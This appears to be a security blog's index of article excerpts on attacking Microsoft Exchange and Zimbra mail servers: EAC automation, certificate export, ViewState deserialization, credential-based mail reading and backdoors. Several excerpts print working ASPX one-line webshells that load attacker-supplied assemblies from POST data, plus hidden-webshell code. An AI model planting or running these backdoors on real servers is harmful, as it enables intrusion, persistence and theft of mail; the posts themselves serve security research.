Good in study, attitude and health

  • Exchange admin center(EAC)开发指南2——证书的导出与利用

    0x00 前言 在上篇文章《Exchange admin center(EAC)开发指南》开源了代码eacManage,实现了添加邮箱用户、设置邮箱用户的权限和导出所有邮箱用户列表的功能,本文将要添加证书导出的功能,记录开发细节,分析利用思路。 0x01 简介 本文将要介绍以下内容: Exchange证书介绍 Exchange证书的导出方法 Exchange证书的利用 0x02 Exchange证书介绍 参考资料: https://docs.microsoft.com/en-us/exchange/architecture/client-access/certificates?view=exchserver-2019#certificates-in-exchange Exchange服务器默认创建以下三个证书: Microsoft Exchange,用于加密Exchange服务器、同一计算机上的Exchange服务和从客户端访问服务代理到邮箱服务器上的后端服务的客户端连接之间的内部通信 Microsoft Exchange Server Auth Certificate,用于OAuth服务器间身份验证和集成 WMSVC,此Windows自签名证书由IIS中的Web管理服务使用,用于启用远程管理Web服务器及其关联的网站和应用程序 简单理解: Exchange的网络通信数据使用Microsoft Exchange证书进行加密 身份验证功能需要使用Microsoft Exchange Server Auth Certificate证书,例如生成访问ECP服务时的参数msExchEcpCanary 补充: 修改Exchange网络通信数据使用的证书位置: IIS Manager -> Sites -> Exchange BackEnd -> Bindings… -> 444 -> Edit… -> SSL certificate...

  • Exchange admin center(EAC)开发指南

    0x00 前言 Exchange admin center(EAC)是Exchange Server中基于Web的管理控制台,在渗透测试和漏洞利用中,通常需要通过代码实现对EAC的操作,本文将要开源一份 操作EAC的实现代码eacManage,记录开发细节,便于后续的二次开发。 0x01 简介 本文将要介绍以下内容: 程序实现原理 开源代码eacManage eacManage功能介绍 0x02 EAC的基本操作 介绍EAC的资料: https://docs.microsoft.com/en-us/Exchange/architecture/client-access/exchange-admin-center?view=exchserver-2019 1.添加邮箱用户和设置邮箱用户的权限 添加邮箱用户需要在recipients->mailboxes页面下进行操作,如下图 设置邮箱用户的权限需要在permissions->admin roles页面下进行操作,admin roles页面下默认建立了多个管理员角色组(Role Group),如下图 每个管理员角色组(Role Group)可以通过设置角色(Roles)属性来设定具体的权限,如下图 将邮箱用户添加至指定的管理员角色组就可以获得对应的权限,修改权限可以通过新建管理员角色组(Role Group)或者设置已有管理员角色组(Role Group)的角色(Roles)属性实现 2.导出所有邮箱用户列表 需要在recipients->mailboxes页面下进行操作,如下图 0x03 程序实现原理 目前,Exchange Server并未开放程序实现的接口,但我们可以通过构造特定格式的POST数据包实现 抓包可以选择以下两种方式: Chrome浏览器自带的抓包工具,可直接抓取明文数据,在Chrome界面按F12选择Network即可,具体细节可参考之前的文章《渗透基础——通过Outlook Web Access(OWA)读取Exchange邮件的命令行实现》 Wireshark,抓取明文数据需要配置证书,方法可参考之前的文章《渗透技巧——Pass the Hash with Exchange Web Service》 具体的POST数据包格式如下: 1.查看所有管理员角色组 请求url:/ecp/UsersGroups/AdminRoleGroups.svc/GetList 参数: msExchEcpCanary...

  • 渗透基础——Exchange一句话后门的扩展

    0x00 前言 在上一篇文章《渗透基础——Exchange一句话后门的实现》介绍了两种Exchange一句话后门(内存加载.net程序集和文件写入),本文将要对Exchange一句话后门的功能进行扩展,以导出lsass进程的口令hash为例,介绍内存加载PE文件的实现方法,开源测试代码,分析利用思路,给出防御建议。 0x01 简介 本文将要介绍以下内容: Exchange一句话后门的编写 通过内存加载.net程序集实现导出lsass.exe进程的dmp文件 通过内存加载PE文件实现内存加载Mimikatz并解析指定位置的dmp文件 开源代码 防御建议 0x02 Exchange一句话后门的编写 (1)基本的实现代码 示例代码如下: <%@ Page Language="C#" %><%System.Reflection.Assembly.Load(Convert.FromBase64String(Request.Form["demodata"])).CreateInstance("Payload").Equals("");%> 代码会判断是否带有POST请求的参数demodata,如果存在会将POST请求中参数demodata的内容作base64解密,在内存加载并调用名为Payload的实例 (2)冰蝎的实现代码 默认启动代码如下: <%@ Page Language="C#" %><%@Import Namespace="System.Reflection"%><%Session.Add("k","e45e329feb5d925b"); byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.ContentLength);Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%> 提取其中使用的解密代码如下: public static string Decrypt(string str, string key) { Byte[] toEncryptArray...

  • Exchange Web Service(EWS)开发指南3——SOAP XML Parser

    0x00 前言 在之前的文章《Exchange Web Service(EWS)开发指南2——SOAP XML message》介绍了SOAP XML message的使用,通过Python实现了利用hash对Exchange资源的访问。 当我们通过SOAP XML message读取邮件时,尝尝会遇到以下麻烦:由于每一封邮件对应一份原始的XML文件,原始的XML文件包含完整的邮件信息,人工分析邮件将耗费大量精力。 于是,本文将要介绍一种SOAP XML解析器的实现方法,编写工具实现自动提取有价值的邮件信息,提高阅读效率。 0x01 简介 本文将要介绍以下内容: 适用环境 设计思路 开源Python实现代码 代码开发细节 0x02 设计思路 通过SOAP XML message读取收件箱中的所有邮件,需要以下步骤: 使用ewsManage.py的listmailofinbox命令获得每一封邮件的ItemId和ChangeKey 循环使用ewsManage.py的getmail命令,传入每封邮件对应的ItemId和ChangeKey 分别将返回结果保存为XML格式的文件,每一个XML文件对应一封邮件 为了保证SOAP XML解析器的通用性,能够配合不同的工具,所以将SOAP XML解析器设计成了文件管理器的结构,选中XML文件将会自动解析,提取有价值的信息并显示,在设计上遵循以下原则: 开发语言选用Python,为了提高便捷性,全部使用Python的标准库 文件管理器涉及到Python的界面开发,使用标准GUI库Tkinter SOAP(Simple Object Access Protocol)协议在本质上仍为XML协议,在解析上使用标准库xml.dom.minidom 注: 如果使用字符串匹配的方式对XML文件解析,还需要考虑转义字符 0x03 程序实现 1.文件管理器的实现 Tkinter的使用: https://docs.python.org/3/library/tk.html 这里可以基于开源的file-manager-mask进行二次开发,修改如下部分: 去掉图片显示功能 去掉编辑文本的功能 添加XML文件解析的功能 2.XML文件解析...

  • 渗透技巧——利用虚拟文件隐藏ASP.NET Webshell

    0x00 前言 通过ASP.NET的VirtualPathProvider类能够创建虚拟文件,实现以下效果:虚拟文件不存在于服务器的文件系统,但是能够对其动态编译并提供访问服务。ysoserial.net的GhostWebShell.cs提供了一种可供学习的利用思路。 本文将要介绍虚拟文件的利用方法,在ysoserial.net的GhostWebShell.cs基础上介绍Exchange下的利用方法,开源代码,记录细节,给出防御建议。 0x01 简介 本文将要介绍以下内容: VirtualPathProvider在Exchange下的利用 DotNet反序列化在Exchange下的利用 防御检测 0x02 VirtualPathProvider在Exchange下的利用 参考资料: https://docs.microsoft.com/en-us/dotnet/api/system.web.hosting.virtualpathprovider?view=netframework-4.8 在实现上需要继承VirtualPathProvider类并重写两个方法:FileExists和GetFile,注册VirtualPathProvider并创建实例后,实现虚拟文件的创建 示例代码: <%@ Page Language="C#" AutoEventWireup="true" validateRequest="false" EnableViewStateMac="false" %> <%@ Import Namespace="System.Web.Hosting" %> <%@ Import Namespace="System.Web.Compilation" %> <%@ Import Namespace="System.IO" %> <%@ Import Namespace="System.Reflection" %> <%@ Import Namespace="System.Security.Cryptography" %> <script runat="server"> public class DeferredPathProvider : VirtualPathProvider...

  • DotNet反序列化——生成ViewState的程序实现

    0x00 前言 在上篇文章《渗透技巧——从Exchange文件读写权限到命令执行》介绍了通过.Net反序列化ViewState从Exchange文件读写权限到命令执行的方法,分享了三种利用脚本的开发细节,本文将要具体分析生成ViewState的细节,介绍另外一种实现从Exchange文件读写权限到命令执行的脚本开发细节 参考资料: http://www.zcgonvh.com/post/weaponizing_CVE-2020-0688_and_about_dotnet_deserialize_vulnerability.html https://github.com/pwntester/ysoserial.net 0x01 简介 本文将要介绍以下内容: 两种生成ViewState的实现方法 另外一种利用脚本开发的细节 开源代码 0x02 背景知识 1.DotNet反序列化ViewState的实现原理 如果能够读取web.config的文件内容,获得其中的加密密钥和算法,就能够构造出有效的序列化数据。如果将序列化数据设置成恶意委托,那么在ViewState使用ObjectStateFormatter进行反序列化调用委托时,就能实现远程代码执行。 2.ViewState的生成流程 使用validationkey和generator作为参数,对序列化xaml数据进行签名,并放在序列化xaml数据后,作Base64编码后组成最终的ViewStaten内容 直观理解: data = Serialize(xaml) ViewState = data + (data+generator).ComputeHash(validationKey) ViewState = Base64(ViewState) 加密细节可参考: https://github.com/pwntester/ysoserial.net/blob/master/ysoserial/Plugins/ViewStatePlugin.cs#L255 https://github.com/0xacb/viewgen/blob/master/viewgen#L156 具体细节可使用dnSpy反编译System.Web.dll,找到System.Web.Configuration.MachineKeySection的GetEncodedData函数 0x03 两种生成ViewState的实现方法 测试环境: 获得了Exchange文件读写权限,能够修改%ExchangeInstallPath%\FrontEnd\HttpProxy\owa\web.config和%ExchangeInstallPath%\FrontEnd\HttpProxy\ecp\web.config,设置machineKey的内容如下: <machineKey validationKey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" decryptionKey="E9D2490BD0075B51D1BA5288514514AF" validation="SHA1" decryption="3DES" /> 对于这两个位置的.Net反序列化命令执行,不再需要合法用户的凭据 下面介绍两种生成ViewState的程序实现方法 1.从xaml数据生成ViewState 流程如下: 构造xaml数据 生成序列化xaml数据...

  • 渗透基础——Exchange一句话后门的实现

    0x00 前言 在之前的文章《对APT34泄露工具的分析-HighShell和HyperShell》分析了HyperShell中的ExpiredPassword.aspx,通过向Exchange登录页面下的ExpiredPassword.aspx添加代码实现后门功能。 本文将要沿着这个思路,在技术角度介绍另外两种实现方法,开源测试代码,给出防御建议。 0x01 简介 本文将要介绍以下内容: 两种后门代码的实现 通过C Sharp代码实现后门连接 通过Python代码实现后门连接 利用分析 防御建议 0x02 两种后门代码的实现 1.内存加载.net程序集 这里参考《利用动态二进制加密实现新型一句话木马之.NET篇》 为了缩短代码长度,示例test1.aspx的代码如下: <%@ Page Language="C#" %><%System.Reflection.Assembly.Load(Convert.FromBase64String(Request.Form["demodata"])).CreateInstance("Payload").Equals("");%> 代码会判断是否带有POST请求的参数demodata,如果存在会将POST请求中参数demodata的内容作base64解密,在内存加载并调用名为Payload的实例 注: sharpyshell也使用相同的内存加载方式 我们可以通过以下方式生成Payload: (1)新建文件demo.cs 代码如下: using System; using System.Diagnostics; public class Payload { public override bool Equals(Object obj) { Process.Start("calc.exe"); return true; } } (2)编译生成dll文件 命令如下: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe...

  • Zimbra反序列化漏洞(CVE-2019-6980)利用测试

    0x00 前言 Zimbra反序列化漏洞(CVE-2019-6980)适用于8.7.x至8.8.11的Zimbra邮件服务器,是一个远程代码执行漏洞。 考虑到距补丁公开日期已经超过两年,并且没有一个完整的可用POC,所以本文将要在技术研究的角度记录测试过程,开源利用脚本,分享细节。 0x01 简介 本文将要介绍以下内容: 本地漏洞复现 实际利用分析 开源利用脚本 防御建议 0x02 本地漏洞复现 参考资料: https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html https://blog.csdn.net/fnmsd/article/details/89235589?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.control&dist_request_id=1328603.11954.16149289993579653&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.control (1)搭建环境 挑选符合漏洞版本的Zimbra邮件服务器,下载地址: https://www.zimbra.com/downloads/zimbra-collaboration-open-source/archives/ 具体搭建过程可参考其他资料 (2)创建用户 创建一个测试用户test1,命令如下: /opt/zimbra/bin/zmprov ca test1@test.zimbra.com Password123 displayName 结果返回测试用户test1对应的zimbraId,格式为11111111-1111-1111-1111-111111111111 补充:其它常用命令 参考资料:https://wiki.zimbra.com/wiki/Zmprov 列出所有用户: /opt/zimbra/bin/zmprov -l gaa 列出所有管理员用户: /opt/zimbra/bin/zmprov gaaa 查看用户test1对应的zimbraId: /opt/zimbra/bin/zmprov ga test1 zimbraId (3)修改服务器配置 列出所有服务器: /opt/zimbra/bin/zmprov gad 得到服务器名称test.zimbra.com 查看配置信息zimbraMemcachedClientServerList: /opt/zimbra/bin/zmprov gs...

  • 渗透基础——支持NTLM Over HTTP协议的Webshell实现

    0x00 前言 在某些环境下,访问Web服务器的资源需要通过NTLM Over HTTP协议进行NTLM认证,而我们在这样的Web服务器使用Webshell时,不仅需要考虑NTLM认证的实现,还需要满足能够在命令行下使用。 本文仅在技术研究的角度介绍一种实现方法,开源代码,分享脚本开发细节。 0x01 简介 本文将要介绍以下内容: 设计思路 脚本开发细节 开源代码 0x02 设计思路 通过NTLM Over HTTP协议进行NTLM认证的Web服务器有很多,这里分别以Exchange和SharePoint为例 (1)Exchange测试环境 文件保存的绝对路径: C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\Autodiscover\test.aspx 对应的URL为: https://URL/Autodiscover/test.aspx (2)SharePoint测试环境 文件保存的绝对路径: C:\Program Files\Common Files\microsoft shared\Web Server Extensions\15\TEMPLATE\LAYOUTS\test.aspx 对应的URL为: http://URL/_layouts/15/test.aspx 访问test.aspx时均需要通过NTLM Over HTTP协议进行NTLM认证 这里以一个支持cmd命令的webshell为例进行测试,webshell的地址为: https://github.com/tennc/webshell/blob/master/aspx/asp.net-backdoors/cmdexec.aspx 如下图 这个webshell需要通过浏览器进行操作,首先完成NTLM认证,接着填入正确的Auth Key和要执行的cmd命令 我们的目标是满足能够在命令行下使用,可以以此为模板进行修改,设计思路如下: (1)execCmd.aspx 接收Form表单请求作为参数,对Auth Key进行验证 如果验证失败,返回空结果 如果验证成功,执行传入的cmd命令并返回执行结果 (2)aspxCmdNTLM.py 命令行脚本...

  • 渗透基础——利用IMAP协议读取邮件

    0x00 前言 在渗透测试中,当我们获得了用户的邮箱凭据,需要对邮箱内容进行分析时,可以选择通过IMAP协议实现自动化来提高效率。 本文以Exchange为例,介绍通过IMAP协议下载邮件和附件的方法,开源代码,分享脚本编写细节。 0x01 简介 本文将要介绍以下内容: 基础知识 Exchange开启IMAP功能和登录日志 Python3实现细节 开源代码 0x02 基础知识 1.IMAP 全称是Internet Mail Access Protocol,即交互式邮件存取协议 是一种邮件获取协议,可以从邮件服务器上获取邮件的信息 使用端口143 2.IMAP4_SSL 全称是IMAP over SSL,是IMAP协议基于SSL安全协议之上的一种变种协议 继承了SSL安全协议的非对称加密的高度安全可靠性,可防止邮件泄露,也是用来接收邮件的 使用端口993 3.Python3 imaplib库 官方文档: https://docs.python.org/3/library/imaplib.html 该模块定义了三个类,IMAP4,IMAP4_SSL和 IMAP4_stream 为了提高安全性,我们通常使用用于安全连接的子类IMAP4_SSL 4.Python3 email库 官方文档: https://docs.python.org/3/library/email.html 当我们使用imaplib库读取邮件时,需要使用email库将接收的消息转换为EmailMessage对象,可以更加方便的对邮件内容进行处理 0x03 Exchange开启IMAP功能和登录日志 默认情况下,Exchange中未启用IMAP4客户端连接 参考资料: https://docs.microsoft.com/en-us/exchange/clients/pop3-and-imap4/configure-imap4?view=exchserver-2019 开启方法如下: 1.启动IMAP4服务,并将服务配置为自动启动 Powershell命令如下: Start-Service MSExchangeIMAP4; Start-Service MSExchangeIMAP4BE...